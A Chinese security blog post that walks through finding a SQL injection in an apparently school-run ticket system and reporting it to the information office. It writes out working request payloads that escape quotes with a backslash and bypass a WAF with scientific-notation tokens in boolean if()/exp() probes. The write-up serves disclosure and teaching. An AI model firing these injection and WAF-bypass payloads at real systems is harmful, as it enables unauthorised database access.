0x1 前言

好久没有遇到那么符合预设环境的漏洞情况了,标题跟部分内容的文笔由ai美化了,看起来诗情画意的?(可能

0x02 过程

是一个需要统一认证的工单系统,首页是展示最近的工单

68373-t3e0f4mdcj.png

右上角有个我的工单,点击后会要求绑定工号

28659-daooxtlj32h.png

需要两个参数,一个是工号一个绑定码

99368-otsrr7atz1b.png

先随意输入一些内容然后抓包,可以看到有两个参数workNum bindCode

45437-bw8lxkey2pl.png

接下来通过对后端语句的推测和巧妙的输入操纵,利用符号犹如钥匙般打开了逃逸单引号限制的大门,逐步探入SQL注入的世界,首先当然是对两个参数进行常规的单双引号测试'",当然是没有效果的没有任何变化

22998-70mkbknr466.png

workNum尝试输入 发现提示sql语句报错

02714-84i3ie455hs.png

bindCode也测试一下,发现也报错,猜测后端没有进行预处理也没有用类似于addslashes函数进行处理而是自己进行的单双引号的处理但是没有处理符号转义了原有的引号导致了我们输入的参数逃逸出了引号的限制

58995-33vatnuvccu.png

首先猜测后端语句大概如下

select xxx from where workNum='可控' and bindCode='可控'

那么我在workNum传入时语句如下,他后面那个单引号被反引号注释掉了逃出了单引号的限制

select xxx from where workNum='可控\' and bindCode='可控'

此时workNum的值为红色部分,可以发现第二个可控的部分并不在引号内可以进行sql注入

  • select xxx from where workNum='可控\' and bindCode='可控'

那么在workNum传入,bindCode传--+语句如下可以发现有了一个可以操作的可控点

  • select xxx from where workNum='\' and bindCode=' 可控点 --+'

因为系统带有waf这里先轻微的使用不那么容易触发waf的语句来测一下是什么数据库,传入内容如下

workNum=\&bindCode=%2BCURRENT_USER--+

后端语句大概如下,也就是+上CURRENT_USER Mysql的用户名函数

select xxx from where workNum='\' and bindCode='+ CURRENT_USER--+'

发现并没有报错

90490-v7myyz75x0p.png

改掉一位试试看发现提示sql语句错误,那么这里就判断为mysql数据库

71718-5kb59hqz3j5.png

旅程并非一帆风顺,WAF如同一道屏障挡在面前。接下来我将运用科学计数法如同舞者般优雅地绕过了WAF的限制,编织出if语句的旋律进行真相的探寻。

这里用科学计数法绕过waf构造if,构造出true/false来注入,这里判断用户名长度是否等于1显然错误返回错误,使用<>大/小于号都会报错,猜测是后端对<>进行了处理用来防止xss导致没办法用大于小于来快速判断范围我这里就用=号一位一位判断了

workNum=\&bindCode=%2bif+520.e(length+520.e(CURRENT_USER+520.e)=1,1,exp+520.e(999+520.e)+520.e)%23

90974-9mxjrbvskd.png

等于11位的时候页面返回正常,这里就得到了用户名部分为11位

79650-tsg2gtl27zo.png

在来判断个数据库名,得到长度为5,点到为止,下班

workNum=\&bindCode=%2bif+520.e(length+520.e(schema+520.e(+520.e)+520.e)=5,1,exp+520.e(999+520.e)+520.e)%23

27470-uspg141k0b.png

最后反馈给信息处的老师

74191-marpz4xu29f.png

Last modification:December 23, 2023
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/1420.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢